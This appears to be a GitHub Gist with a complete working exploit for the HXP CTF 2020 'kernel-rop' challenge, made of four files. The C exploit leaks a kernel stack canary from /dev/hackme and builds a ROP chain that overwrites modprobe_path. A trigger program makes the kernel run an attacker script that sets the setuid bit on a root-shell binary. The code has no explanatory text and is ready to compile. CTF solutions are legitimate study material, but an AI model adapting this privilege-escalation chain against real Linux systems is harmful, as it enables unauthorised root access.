-
-
Save brant-ruan/955996465ad25ea742d7bdb3a7d29509 to your computer and use it in GitHub Desktop.
[exploit_bypass_kpti_with_modprobe] HXP CTF 2020 >> kernel-rop | bypass SMEP with kernel ROP; bypass KPTI with modprobe; no KASLR
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
mv /evilsu /tmp/evilsu | |
chmod u+s /tmp/evilsu | |
chmod 777 /evilsu |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdlib.h> | |
#include <stdio.h> | |
#include <unistd.h> | |
#include <sys/types.h> | |
int main() { | |
puts("[*] trying to spawn root shell"); | |
setuid(0); | |
setgid(0); | |
system("/bin/sh"); | |
return 0; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <fcntl.h> | |
#include <stdint.h> | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <unistd.h> | |
#include <sys/types.h> | |
#include <sys/stat.h> | |
char *VULN_DRV = "/dev/hackme"; | |
void spawn_shell(); | |
int64_t global_fd = 0; | |
uint64_t cookie = 0; | |
uint8_t cookie_off = 16; | |
uint64_t user_cs, user_ss, user_rflags, user_sp; | |
uint64_t user_rip = (uint64_t) spawn_shell; | |
uint64_t pop_rdi_ret = 0xffffffff815f88ec; | |
uint64_t mov_rdi_rax_clobber_rsi140_pop1_ret = 0xffffffff816bf203; | |
uint64_t swapgs_pop1_ret = 0xffffffff8146d4e4; | |
uint64_t iretq = 0xffffffff819c68f6; | |
uint64_t modprobe_path = 0xffffffff82061820; | |
uint64_t write_rax_into_rdi_ret = 0xffffffff818673e9; | |
uint64_t pop_rax_ret = 0xffffffff81004d11; | |
void open_dev() { | |
global_fd = open(VULN_DRV, O_RDWR); | |
if (global_fd < 0) { | |
printf("[!] failed to open %s\n", VULN_DRV); | |
exit(-1); | |
} else { | |
printf("[+] successfully opened %s\n", VULN_DRV); | |
} | |
} | |
void leak_cookie() { | |
uint8_t sz = 40; | |
uint64_t leak[sz]; | |
printf("[*] trying to leak up to %ld bytes memory\n", sizeof(leak)); | |
uint64_t data = read(global_fd, leak, sizeof(leak)); | |
cookie = leak[cookie_off]; | |
printf("[+] found stack canary: 0x%lx @ index %d\n", cookie, cookie_off); | |
if(!cookie) { | |
puts("[-] failed to leak stack canary!"); | |
exit(-1); | |
} | |
} | |
void spawn_shell() { | |
puts("[+] returned to user land"); | |
uid_t uid = getuid(); | |
if (uid == 0) { | |
printf("[+] got root (uid = %d)\n", uid); | |
} else { | |
printf("[!] failed to get root (uid: %d)\n", uid); | |
exit(-1); | |
} | |
puts("[*] spawning shell"); | |
system("/bin/sh"); | |
exit(0); | |
} | |
void save_userland_state() { | |
puts("[*] saving user land state"); | |
__asm__(".intel_syntax noprefix;" | |
"mov user_cs, cs;" | |
"mov user_ss, ss;" | |
"mov user_sp, rsp;" | |
"pushf;" | |
"pop user_rflags;" | |
".att_syntax"); | |
} | |
void overwrite_ret() { | |
puts("[*] trying to run ROP chain and bypass KPTI with modprobe_path"); | |
uint8_t sz = 35; | |
uint64_t payload[sz]; | |
payload[cookie_off++] = cookie; | |
payload[cookie_off++] = 0x0; | |
payload[cookie_off++] = 0x0; | |
payload[cookie_off++] = 0x0; | |
payload[cookie_off++] = pop_rax_ret; | |
payload[cookie_off++] = 0x6c6976652f; // rax: /evil | |
payload[cookie_off++] = pop_rdi_ret; | |
payload[cookie_off++] = modprobe_path; | |
payload[cookie_off++] = write_rax_into_rdi_ret; // overwrite modprobe_path | |
payload[cookie_off++] = swapgs_pop1_ret; | |
payload[cookie_off++] = 0x0; | |
payload[cookie_off++] = iretq; | |
payload[cookie_off++] = user_rip; | |
payload[cookie_off++] = user_cs; | |
payload[cookie_off++] = user_rflags; | |
payload[cookie_off++] = user_sp; | |
payload[cookie_off++] = user_ss; | |
uint64_t data = write(global_fd, payload, sizeof(payload)); | |
puts("[-] if you can read this we failed the mission :("); | |
} | |
int main(int argc, char **argv) { | |
open_dev(); | |
leak_cookie(); | |
save_userland_state(); | |
overwrite_ret(); | |
return 0; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <unistd.h> | |
#include <sys/stat.h> | |
#include <stdlib.h> | |
int main() { | |
char *dummy_file = "/tmp/dummy"; | |
puts("[*] creating dummy file"); | |
FILE *fptr = fopen(dummy_file, "w"); | |
if (!fptr) { | |
puts("[-] failed to open dummy file"); | |
exit(-1); | |
} | |
if (fputs("\x37\x13\x42\x42", fptr) == EOF) { | |
puts("[-] failed to write dummy file"); | |
exit(-1); | |
} | |
fclose(fptr); | |
system("chmod 777 /tmp/dummy"); | |
puts("[*] triggering modprobe by executing dummy file"); | |
execv(dummy_file, NULL); | |
puts("[+] now run /tmp/evilsu to get root shell"); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment